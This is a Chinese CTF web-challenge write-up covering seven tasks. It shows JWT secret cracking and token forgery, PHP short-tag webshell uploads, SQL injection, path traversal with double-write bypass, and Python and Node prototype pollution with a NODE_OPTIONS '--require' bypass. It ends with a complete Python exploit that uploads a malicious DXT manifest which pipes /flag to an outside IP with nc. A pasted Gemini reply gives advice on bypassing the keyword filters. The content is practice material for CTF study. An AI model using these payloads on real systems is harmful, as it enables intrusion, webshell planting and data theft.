1.only real
f12看前端源码:得到
随后尝试伪造cookie
_clck=xhammg%5E2%5Eg4q%5E0%5E2145; _ga_BFDVYZJ3DE=GS2.1.s1774669028$o61$g1$t1774669037$j51$l0$h0; _ga=GA1.1.2057677002.1769704968; _clsk=ysyf6m%5E1774669037220%5E3%5E1%5Es.clarity.ms%2Fcollect; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ2ODA3OTB9.JFhyCZzB3XjqrpAgHYB244mN0djl9BNjRFih1k0tkgM
使用JWTcrack工具进行全字母数字范围的密钥爆破
jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ2ODA3OTB9.JFhyCZzB3XjqrpAgHYB244mN0djl9BNjRFih1k0tkgM -a abcdefghijklmnopqrstuvwxyz0123456789 --max 6
Attempts: 100000 (220K/s last attempt was '1eeb')
Attempts: 200000 (287K/s last attempt was 'tkjd')
SECRET FOUND: cdef
Time taken (sec): 0.914
Total attempts: 300000
在jwt.io进行伪造admin,得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc0NjgwNzkwfQ.9Hd2oVIJd9RENv8Pex3v_EaA-StqOzKqU0MvZYKsY40
稍微尝试了下,文件内容过滤php,eval,post,assert
短标签绕过:
Gemini said
既然 php、eval、post、assert 这些关键词都被过滤了,说明后端极大概率在对上传文件的内容进行扫描(Content-Based Filtering)。
在 CTF 中,这种过滤通常有两种绕过思路:利用 PHP 的灵活性(变形) 或者 寻找不受限制的执行方式。
1. 绕过关键字过滤的姿势
A. 短标签绕过 (Short Open Tags)
如果后端只过滤了 <?php,可以尝试短标签。
写法:<?= 等价于 <?php echo 。
Payload:<?=目录执行命令?>
<?=`ls /`;
发现几个文件,读取一下,
读取env:
KUBERNETES_SERVICE_PORT=449
KUBERNETES_PORT=1449
APACHE_CONFDIR=/etc/apache2
HOSTNAME=dep-259f09a2-d9f7-4333-9a8e-6b5eb49d5a56-5db7bdb6f7-bsn4s
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.4.33
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
PHP_ASC_URL=https://www.php.net/distributions/php-7.4.33.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xz
KUBERNETES_PORT_443_TCP_ADDR=unix:///var/run/docker.sock
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=1449
APACHE_LOCK_DIR=/var/lock/apache2
KUBERNETES_PORT_443_TCP_PROTO=
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
KUBERNETES_SERVICE_PORT_HTTPS=449
KUBERNETES_PORT_443_TCP=
PWD=/var/www/html/uploads
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
KUBERNETES_SERVICE_HOST=unix:///var/run/docker.sock
PHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927
APACHE_ENVVARS=/etc/apache2/envvars
看看有些什么文件
<?=`ls -aR /var/www/html`;
明显的flag.php
/var/www/html: . .. Dockerfile dashboard.php entrypoint.sh flag.php index.php jwt.php login.php logout.php message.php static upload.php uploads /var/www/html/static: . .. style.css /var/www/html/uploads: . .. 008eadf6a872c3501941278cf5aa9768_muma.php 07a33b7e5efaaf11e0d0e1e4c9565f89_muma.php 1a2e68522d0b615d8156643227dec52d_muma.php 1b91f0d39610235d41918826bf652187_muma.php 3d11013ef1046e3eb8efa41590658224_muma.php 4b33454ec45cba48f6c80142a10bc66c_muma.php 4c44e9bb6d1f85b7a76ab888909b5869_muma.php 5df5c9b79ec3d3672a1fa75046c6fd5f_muma.php 654e8d55ff83c739b0e3b79ad4b9ec83_muma.php 679bca3c333e28ba338204cbe6ff3d8e_muma.php 7569f45e1c8d05fc53b7385f7493d0f3_muma.php 83e0a291442d5f515412039d5441cae1_muma.php 89dd6ae86cd8452c816101e798b01595_muma.php 8a2a708b5fd54d9bb1a4954a5c2a7b78_muma.php 8e6281784bc55fe08f634c5b4a5fb673_muma.php 967bde2ad3396bbcf381f993ecbcd39f_muma.php 97839fcfad2b52f7b31297b66d4b66e3_muma.php 97a4fa50ae8d612844136f22cf30b681_muma.php 9cb3de498797caa80672cece0b715ca0_muma.jpg a568199e77e6eae57173b7fd6e7c305e_muma.php c9c6196cc62d179a9d3f64db6693c635_muma.php cc3d9bf0fb1edea561be2c0405185bdb_muma.jpg db13870987d5943dd6db545c1149aeea_muma.php df88ed17a1eb394ffd86cf90dd2c0a48_muma.php f1b2ff94bde138e8c8f92d1e770cccd5_muma.php
看看entrypoint.sh文件内容
#!/bin/bash
set -e
# Handle FLAG environment variable
if [ "$FLAG" ]; then
echo $FLAG > /var/www/html/flag.php
chmod 444 /var/www/html/flag.php
export FLAG=""
fi
# 写死的配置
DB_HOST="127.0.0.1"
DB_USER="root"
DB_PASSWORD="root"
DB_NAME="joomla"
DB_TYPE="mysqli"
ADMIN_USER="Admin"
ADMIN_USERNAME="admin"
ADMIN_PASSWORD="adm1n_passw0rd_123_234rfcds"
ADMIN_EMAIL="admin@example.com"
SITE_NAME="Joomla Revenge"
# ========== 配置 MariaDB ==========
mkdir -p /var/run/mysqld
chown mysql:mysql /var/run/mysqld
chmod 755 /var/run/mysqld
cat > /etc/mysql/mariadb.conf.d/99-docker.cnf < /dev/null 2>&1; then
echo "[*] MariaDB is ready."
break
fi
sleep 1
done
for i in $(seq 1 30); do
if mysqladmin -h 127.0.0.1 -P 3306 ping > /dev/null 2>&1; then
echo "[*] MariaDB TCP is ready."
break
fi
sleep 1
done
if ! mysql -e "USE ${DB_NAME}" > /dev/null 2>&1; then
echo "[*] Creating database ${DB_NAME}..."
mysql <
看看message.php
<?php
if(isset($_POST['msg'])){
libxml_use_internal_errors(true);
$xml = $_POST['msg'];
// 🚫 禁止 file:// 协议
if(preg_match('/file:\/\//i', $xml)){
die("<div class='tip'>非法协议</div>");
}
再看看dashboard.php
<?php
include "jwt.php";
error_reporting(0);
if(!isset($_COOKIE['token'])) die("未登录");
$data = jwt_decode($_COOKIE['token'],"cdef");
if(!$data) die("非法Cookie");
$role = $data['role'];
$name = $role=="admin"?"xmadmin":"xmuser";
function fake_twig($input){
if(preg_match('/system|exec|passthru|shell|file|php|eval|cat|flag|\.\.|\//i', $input)){
return "Blocked";
}
if(preg_match('/{{(.*?)}}/', $input, $m)){
$exp = $m[1];
$exp = str_replace(["'", '"'], '', $exp);
if(preg_match('/^[0-9+\-*\/\s]+$/', $exp)){
eval("\$res = $exp;");
return $res;
}else{
return "Invalid";
}
}
return htmlspecialchars($input);
}
$nick = $name;
$msg = "欢迎来到星盟招新赛";
$nick_tip = "";
$age_tip = "";
$upload_tip = "";
if($role=="admin"){
if(isset($_POST['nick'])){
$nick = $_POST['nick'];
$nick_tip = "你的昵称已经更改为:".$nick;
}
if(isset($_POST['age'])){
$age = fake_twig($_POST['age']);
$age_tip = "你的年龄已经更改为:".$age;
}else{
$age = "18";
}
if(isset($_FILES['file'])){
$f = $_FILES['file'];
$tmp = $f['tmp_name'];
$name = $f['name'];
if($f['error'] !== 0){
$upload_tip = "上传失败";
}else{
$content = file_get_contents($tmp);
// 黑名单变量
$black_list = [
"system",
"exec",
"passthru",
"shell_exec",
"eval",
"assert",
"phpinfo",
"base64_decode",
"flag",
"<?php",
"php"
];
$blocked = false;
foreach($black_list as $bad){
if(stripos($content, $bad) !== false){
$blocked = true;
break;
}
}
if($blocked){
$upload_tip = "文件内容包含非法关键字,上传失败";
}else{
// 不校验扩展名(符合你的要求)
$newname = md5(time().$name)."_".$name;
$path = "uploads/".$newname;
move_uploaded_file($tmp, $path);
$upload_tip = "你的文件已经上传,路径为:".$path;
}
}
}
}else{
$age = "18";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>星盟后台管理</title>
<style>
body{
background:linear-gradient(120deg,#0f2027,#203a43,#2c5364);
color:#fff;
font-family:Segoe UI;
}
.top{
padding:20px;
background:#0008;
display:flex;
justify-content:space-between;
}
.card{
background:#111c;
width:600px;
margin:40px auto;
padding:30px;
border-radius:12px;
box-shadow:0 0 20px #000;
}
input,textarea,button{
width:100%;
margin:8px 0;
padding:10px;
border:none;
border-radius:6px;
}
button{
background:#3fb;
cursor:pointer;
}
.tip{color:#6cf;}
</style>
</head>
<body>
<div class="top">
<div>⭐ 星盟后台管理系统</div>
<div>当前身份:<?=$role?> | <a href="logout.php" style="color:#6cf">退出</a></div>
</div>
<div class="card">
<form method="post" enctype="multipart/form-data">
昵称:
<input name="nick" <?=$role!="admin"?"disabled":""?> value="<?=$nick?>">
<div class="tip"><?=$nick_tip?></div>
年龄:
<input name="age" <?=$role!="admin"?"disabled":""?> value="<?=$age?>">
<div class="tip"><?=$age_tip?></div>
背景图上传:
<input type="file" name="file" <?=$role!="admin"?"disabled":""?>>
<div class="tip"><?=$upload_tip?></div>
留言板:
<textarea name="msg" <?=$role!="admin"?"disabled":""?>><?=$msg?></textarea>
<button <?=$role!="admin"?"disabled":""?>>提交修改</button>
</form>
<script>
document.querySelector("input[name='file']").addEventListener("change", function(){
const file = this.files[0];
if(!file) return;
const allowed = ["image/jpeg","image/png"];
if(!allowed.includes(file.type)){
alert("只允许上传 jpg / jpeg / png 格式图片!");
this.value = "";
}
});
</script>
<?php
if($role=="admin"){
include "message.php";
}
?>
</div>
</body>
</html>
看看upload.php
<?php
$f = $_FILES['file'];
if(preg_match("/php|phtml/i",$f['name'])){
die("非法类型");
}
move_uploaded_file($f['tmp_name'],"uploads/".$f['name']);
echo "上传成功";
确实是一堆烟雾弹,最后还是短标签语句实现flag读取,这里通配符比较容易乱跑
------WebKitFormBoundaryb0jXHOCDTS1v00wO
Content-Disposition: form-data; name="file"; filename="muma.php"
Content-Type: image/jpeg
<?=`base64 /var/www/html/fl*g.p*`;
------WebKitFormBoundaryb0jXHOCDTS1v00wO
Content-Disposition: form-data; name="msg"
欢迎来到星盟招新赛
------WebKitFormBoundaryb0jXHOCDTS1v00wO--
使用问号:
code
PHP
<?=`cat /var/www/html/fl?g.???`;
注意:如果文件包含 < 等特殊符号可能会被浏览器当作 HTML 标签隐藏,建议在执行后右键查看网页源代码,或者直接用 base64 命令把内容编码输出:
code
PHP
<?=`base64 /var/www/html/fl*g.p*`;
2.only_real_revenge
依旧伪造cookie
_clck=xhammg%5E2%5Eg4r%5E0%5E2145; _ga_BFDVYZJ3DE=GS2.1.s1774784649$o67$g1$t1774784724$j55$l0$h0; _ga=GA1.1.2057677002.1769704968; _clsk=4ogi93%5E1774784719416%5E9%5E1%5Es.clarity.ms%2Fcollect; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ3ODkyMzB9.1A4Nqsuhsi4A0bXPYpFhF9aRm9WvhutLGTGQ91gIpPw
weizao1:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc0Nzg5MjMwfQ.lABIf4ZAnKKkqrI_cBT9PDjxY8sW0N4OmxLEZuxmaLs
这一次:看ls /发现文件在服务器根目录下
直接cat /f*
<?=`cat /f*`;
得到flag
xmctf{25d7ecd0-d2dc-42af-b243-9ac180383c21}
3.AutoPypy
附件源码
import os
import sys
import subprocess
from flask import Flask, request, render_template, jsonify
app = Flask(__name__)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
@app.route('/')
def index():
return render_template("index.html")
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file part', 400
file = request.files['file']
filename = request.form.get('filename') or file.filename
save_path = os.path.join(UPLOAD_FOLDER, filename)
save_dir = os.path.dirname(save_path)
if not os.path.exists(save_dir):
try:
os.makedirs(save_dir)
except OSError:
pass
try:
file.save(save_path)
return f'成功上传至: {save_path}'
except Exception as e:
return f'上传失败: {str(e)}', 500
@app.route('/run', methods=['POST'])
def run_code():
data = request.get_json()
filename = data.get('filename')
target_file = os.path.join('/app/uploads', filename)
launcher_path = os.path.join(BASE_DIR, 'launcher.py')
try:
proc = subprocess.run(
[sys.executable, launcher_path, target_file],
capture_output=True,
text=True,
timeout=5,
cwd=BASE_DIR
)
return jsonify({"output": proc.stdout + proc.stderr})
except subprocess.TimeoutExpired:
return jsonify({"output": "Timeout"})
if __name__ == '__main__':
import site
print(f"[*] Server started.")
print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}")
app.run(host='0.0.0.0', port=5000)
此处run下存在:
@app.route('/run', methods=['POST'])
def run_code():
data = request.get_json()
filename = data.get('filename')
target_file = os.path.join('/app/uploads', filename)
launcher_path = os.path.join(BASE_DIR, 'launcher.py')
os.path.join路径拼接漏洞: 一篇解读文章:https://blog.csdn.net/m0_75178803/article/details/136310298
具体的就是:
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
然后此处,在读取文件处直接采用/flag即可得到flag
4.ez_python
附件app.py
from flask import Flask, request
import json
app = Flask(__name__)
def merge(src, dst): ##
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Config:
def __init__(self):
self.filename = "app.py"
class Polaris:
def __init__(self):
self.config = Config()
instance = Polaris()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"
@app.route('/read')
def read():
return open(instance.config.filename).read()
@app.route('/src')
def src():
return open(__file__).read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
merge存在属性覆盖漏洞: 了解一下这个函数:
merge 函数通常用于将两个数据集(如 DataFrame、表或字典)基于一个或多个共享键进行关联和合并。它在数据分析(Pandas)、数据库操作(SQL JOIN)和编程语言(Python, R, Java)中非常普遍,支持内部连接、外部连接、左连接和右连接,类似于 SQL 的 JOIN 操作。
在Python的Pandas库中,merge函数是一种常用的工具,用于根据一个或多个键将两个或多个DataFrame对象合并在一起。
针对于merge函数:
语法:
pd.merge(left, right, how='inner', on=None, left_on=None, right_on=None,left_index=False, right_index=False, sort=True,suffixes=('_x', '_y'), copy=True)
此处的merge只是左右合并操作
此处另一个函数:setattr()可用于修改属性
描述
setattr() 函数对应函数 getattr(),用于设置属性值,该属性不一定是存在的。
语法
setattr() 语法:
setattr(object, name, value)
参数
object -- 对象。
name -- 字符串,对象属性。
value -- 属性值。
返回值
无。
实例
以下实例展示了 setattr() 函数的使用方法:
对已存在的属性进行赋值:
针对此处存在:
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
# 漏洞点 1:允许用户通过 key 访问并递归进入对象
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #很明显要传入的filename不是一个字典
merge(v, getattr(dst, k))
else:
# 漏洞点 2:允许用户通过 setattr 直接修改对象属性
setattr(dst, k, v)
class Config: ### 漏洞点 3:Config 类中包含一个 filename 属性,用户可以通过 merge 函数修改它的值
def __init__(self):
self.filename = "app.py"
class Polaris:
def __init__(self):
self.config = Config()
instance = Polaris()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance) #将用户输入的数据合并到 instance 对象中,可能会修改 instance.config.filename 的值
于是构造:
{
"config":{
"filename":"/etc/passwd"
}
}
根据:
@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"
/下会就接受request.data,构造的全新的config.filename值会篡改原本instance.config.filename的值,紧接着:
@app.route('/read')
def read():
return open(instance.config.filename).read()
会打开阅读instance.config.filename的内容
{
"config":{
"filename":"/flag"
}
}
得到flag
XMCTF{73459c2c-5e3b-4cd3-9da6-6a272a0848b2}
5.Broken Trust(upsolve)
先注册一个用户lily
得到唯一uid
Registration Successful!
Your Unique ID (UID):
ed5562760df243e4a4235e02160b35bc
(Please save this ID, it is your only way to login)
登录后查看前端源代码:
async function refreshProfile() {
const uid = "ed5562760df243e4a4235e02160b35bc"; // 现在是字符串
const msg = document.getElementById('msg');
msg.innerText = "Syncing with API...";
try {
const response = await fetch('/api/profile', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ uid: uid }) // 发送字符串
});
const data = await response.json();
if(data.username) {
msg.innerText = "Session synced. Current user: " + data.username;
} else {
msg.innerText = "Sync failed: " + (data.error || "Unknown error");
}
} catch (e) {
msg.innerText = "Error connecting to API.";
}
}
此处存在一个鲜明的注册登录逻辑
脑洞吗,,,这里uid查询存在SQL注入
POST /api/profile HTTP/1.1
Host: 8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn
Content-Length: 34
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn/register
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"uid":"0' union select 1,2,3--+"}
可以得到:
{"role":3,"uid":1,"username":2}
测试不存在database function
{"uid":"0' union select 1,group_concat(name),3 from sqlite_master WHERE type='table'--+"}
{"role":3,"uid":1,"username":"users"}
{"uid":"0' union select 1,2,group_concat(sql) from sqlite_master WHERE type='table'--+"}
{"role":"CREATE TABLE users \n (uid TEXT PRIMARY KEY, \n username TEXT NOT NULL, \n role TEXT NOT NULL)","uid":1,"username":2}
sqlite查不到什么
{"uid":"admin' or 1=1--"}
考虑到存在users这个表,直接看admin信息,确实存在
{"role":"admin","uid":"127ecde13e724527bf251d8d08d034f8","username":"admin"}
登陆后,点击Access Backup Server
存在一个文件读取方式
/flag和../../../../../../../../均失败,其他方式也无果,
叁玖思路
测试发现后端对路径穿越做了替换过滤(大概率是 replace('../', ''))。
采用双写绕过技巧,使用 ....//,当后端把中间的 ../ 删掉后,剩下的字符刚好重新拼接成完整的 ../。
最终 Payload:/api/admin?action=backup&file=....//....//....//....//flag
等题目的源码看看是不是这样
XMCTF{e97d708a-f200-453b-91fa-7906979b3878}
6.ezpollute
app.js
const express = require('express');
const { spawn } = require('child_process');
const path = require('path');
const app = express();
app.use(express.json());
app.use(express.static(__dirname));
function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('get out!');
return;
}
continue;
}
if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}
let config = {
name: "CTF-Guest",
theme: "default"
};
app.post('/api/config', (req, res) => {
let userConfig = req.body;
const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
const bodyStr = JSON.stringify(userConfig).toLowerCase();
for (let word of forbidden) {
if (bodyStr.includes(`"${word}"`)) {
return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
}
}
try {
merge(config, userConfig, res);
res.json({ status: "success", msg: "Configuration updated successfully." });
} catch (e) {
res.status(500).json({ status: "error", message: "Internal Server Error" });
}
});
app.get('/api/status', (req, res) => {
const customEnv = Object.create(null);
for (let key in process.env) {
if (key === 'NODE_OPTIONS') {
const value = process.env[key] || "";
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}
const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
env: customEnv,
shell: false
});
let output = '';
proc.stdout.on('data', (data) => { output += data; });
proc.stderr.on('data', (data) => { output += data; });
proc.on('close', (code) => {
res.json({
status: "checked",
info: output.trim() || "No output from system check."
});
});
});
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'));
});
// Flag 位于 /flag
app.listen(3000, '0.0.0.0', () => {
console.log('Server running on port 3000');
});
看看黑名单:
禁了__proto__
const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
对于过滤:
1.可以用constructor 和 prototype
后续黑名单,突破口在于:
app.get('/api/status', (req, res) => {
const customEnv = Object.create(null);
for (let key in process.env) { //遍历环境
if (key === 'NODE_OPTIONS') { //检验,即进行waf过滤,禁止用户通过 NODE_OPTIONS 注入危险参数
const value = process.env[key] || "";//输出env中键值,如果没有就为空"",
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}
首先存在键:“NODE_OPTIONS”
然后针对这里
针对requires学习:https://juejin.cn/post/6972095839632097293#heading-6
正则是为了防止执行 --require /flag。绕过思路如下:
绕过正则:正则匹配的是行首 ^ 或空白符 s 后接 --require。传入 ""--require" /flag",字符串以双引号开头,完美避开 ^ 和 s。
Node 机制:Node.js 底层解析 NODE_OPTIONS 时支持引号包裹,并在执行时会自动剥离外层双引号,最终依然以 --require /flag 运行。
信息泄露:/flag 内容不是合法的 JS 代码,require 加载时会报 SyntaxError 并将出错行(flag文本)打印到 stderr。/api/status 刚好收集了 stderr 并返回给前端。
payload:
{
"constructor": {
"prototype": {
"NODE_V8_COVERAGE": "",
"NODE_OPTIONS": "\"--require\" \"/flag\""
}
}
}
随后check'
XMCTF{4ca97d75-04e6-404e-860d-bcb4c81969b0}
7.DXT(upsolve)
Desktop Extensions (DXT,桌面扩展) 是一种用于打包和分发本地MCP (Model Context Protocol) 服务器的标准化格式。
前端源码:
// Global state
let servers = [];
(function() {
'use strict';
// DOM 元素引用
const elements = {
uploadArea: document.getElementById('uploadArea'),
fileInput: document.getElementById('fileInput'),
serversList: document.getElementById('serversList'),
messageContainer: document.getElementById('messageContainer'),
detailsModal: document.getElementById('detailsModal'),
modalTitle: document.getElementById('modalTitle'),
modalBody: document.getElementById('modalBody')
};
// --- 辅助函数 ---
function escapeHtml(text) {
if (!text) return '';
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
function showMessage(type, message) {
const msgDiv = document.createElement('div');
msgDiv.className = `message ${type}`;
msgDiv.innerHTML = message;
elements.messageContainer.innerHTML = '';
elements.messageContainer.appendChild(msgDiv);
setTimeout(() => {
if (msgDiv.parentNode) msgDiv.parentNode.removeChild(msgDiv);
}, 5000);
}
// --- 核心业务逻辑 ---
async function uploadFile(file) {
showMessage('info', `正在上传 ${escapeHtml(file.name)}...`);
const formData = new FormData();
formData.append('file', file);
try {
const response = await fetch('/api/upload', { method: 'POST', body: formData });
const data = await response.json();
if (response.ok) {
showMessage('success', '✓ 文件上传成功!');
loadServers();
} else {
showMessage('error', `上传失败: ${data.error || '未知错误'}`);
}
} catch (error) {
showMessage('error', `网络错误: ${error.message}`);
}
}
async function loadServers() {
try {
const response = await fetch('/api/servers');
const data = await response.json();
if (!response.ok) throw new Error('无法加载服务列表');
servers = data.servers || [];
renderServers();
} catch (error) {
elements.serversList.innerHTML = `<div class="empty-state">⚠️ 加载失败,请刷新页面</div>`;
}
}
// --- 视图渲染 (已清理 HTML 拼接) ---
function renderServers() {
if (servers.length === 0) {
elements.serversList.innerHTML = `<div class="empty-state">📭 暂无服务,请上传 .dxt 文件</div>`;
return;
}
// 使用模板字面量生成卡片
elements.serversList.innerHTML = servers.map(server => {
const isRunning = server.running;
const statusClass = isRunning ? 'running' : '';
const statusText = isRunning ? 'Running' : 'Stopped';
const safeId = escapeHtml(server.id);
return `
<div class="server-card ${statusClass}" id="server-${safeId}">
<div class="server-header">
<div class="server-title">
<div class="server-name">${escapeHtml(server.name)}</div>
<div class="server-version">v${escapeHtml(server.version)}</div>
</div>
<span class="server-status ${statusClass}">${statusText}</span>
</div>
<div class="server-meta">
ID: <code>${safeId.substring(0, 8)}...</code>
</div>
<div class="server-actions">
<button class="btn btn-sm" onclick="showDetails('${safeId}')">📋 详情</button>
<button class="btn btn-sm btn-success" onclick="startServer('${safeId}')">▶ 启动</button>
<button class="btn btn-sm btn-danger" onclick="stopServer('${safeId}')">⏹ 停止</button>
<button class="btn btn-sm btn-danger" onclick="deleteServer('${safeId}')">🗑 删除</button>
</div>
</div>`;
}).join('');
}
// --- 详情弹窗渲染 ---
function renderDetails(server) {
const { manifest, command, id } = server;
elements.modalTitle.textContent = manifest.display_name || manifest.name;
// 构造结构化内容
const sections = [];
// 1. 基本信息
sections.push(`
<div class="modal-section">
<h3>基本设置</h3>
<div class="info-grid">
<div class="info-item"><div class="info-label">名称</div><div class="info-value">${escapeHtml(manifest.display_name || manifest.name)}</div></div>
<div class="info-item"><div class="info-label">ID</div><div class="info-value"><code>${escapeHtml(id)}</code></div></div>
<div class="info-item"><div class="info-label">版本</div><div class="info-value">${escapeHtml(manifest.version)}</div></div>
</div>
</div>
`);
// 2. 命令行信息
sections.push(`
<div class="modal-section">
<h3>运行命令</h3>
<div class="command-display"><code>${escapeHtml(command || 'N/A')}</code></div>
</div>
`);
// 3. 工具列表
if (manifest.tools?.length > 0) {
const toolsHtml = manifest.tools.map(tool => `
<div class="tool-item">
<div class="tool-name">${escapeHtml(tool.name)}</div>
<div class="tool-desc">${escapeHtml(tool.description || '无描述')}</div>
</div>
`).join('');
sections.push(`<div class="modal-section"><h3>工具列表 (${manifest.tools.length})</h3>${toolsHtml}</div>`);
}
elements.modalBody.innerHTML = sections.join('');
}
// --- 事件绑定 ---
elements.uploadArea.addEventListener('click', () => elements.fileInput.click());
elements.fileInput.addEventListener('change', (e) => {
if (e.target.files[0]) {
uploadFile(e.target.files[0]);
elements.fileInput.value = '';
}
});
// 拖拽逻辑 (保持原样,仅清理匿名函数)
elements.uploadArea.addEventListener('drop', (e) => {
e.preventDefault();
const file = e.dataTransfer.files[0];
if (file?.name.endsWith('.dxt')) {
uploadFile(file);
} else {
showMessage('error', '请选择 .dxt 后缀的文件');
}
});
// 将函数挂载到 window 供 HTML 行内 onclick 调用
Object.assign(window, {
showDetails: async (id) => {
try {
const res = await fetch(`/api/servers/${encodeURIComponent(id)}`);
if (!res.ok) throw new Error();
renderDetails(await res.json());
elements.detailsModal.classList.add('active');
} catch { showMessage('error', '获取详情失败'); }
},
startServer: async (id) => { /* 保持原逻辑... */ },
stopServer: async (id) => { /* 保持原逻辑... */ },
deleteServer: async (id) => { /* 保持原逻辑... */ },
closeModal: () => elements.detailsModal.classList.remove('active')
});
loadServers();
})();
上传一个mcp服务??
没见过
import requests
import zipfile
import io
import json
import time
import sys
TARGET_URL = "http://8080-eb914253-dd66-428f-90c5-e5f189695716.challenge.ctfplus.cn"
MY_IP = "47.109.70.144"
MY_PORT = "2333"
def build_payload():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
manifest = {
"manifest_version": "0.3",
"dxt_version": "1.0",
"name": "exp",
"display_name": "exp",
"version": "1.0.0",
"description": "pwn",
"author": {"name": "a", "email": "a@a.com"},
"server": {
"type": "binary",
"entry_point": "server/dummy",
"mcp_config": {
"command": "sh",
"args": [
"-c",
f"(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null) | nc -w 5 {MY_IP} {MY_PORT}"
]
}
},
"tools": []
}
zf.writestr("manifest.json", json.dumps(manifest))
zf.writestr("server/dummy", "n")
buf.seek(0)
return buf
def main():
url = TARGET_URL.rstrip('/')
payload = build_payload()
try:
res = requests.post(f"{url}/api/upload", files={'file': ('a.dxt', payload, 'application/octet-stream')})
if res.status_code != 200:
sys.exit(1)
except Exception:
sys.exit(1)
time.sleep(1)
res = requests.get(f"{url}/api/servers")
servers = res.json().get('servers', [])
if not servers:
sys.exit(1)
server_id = servers[-1]['id']
requests.post(f"{url}/api/servers/{server_id}/start")
if __name__ == "__main__":
main()
flag
XMCTF{0e9dc895-2568-416b-9ec3-4e45b96682e0}
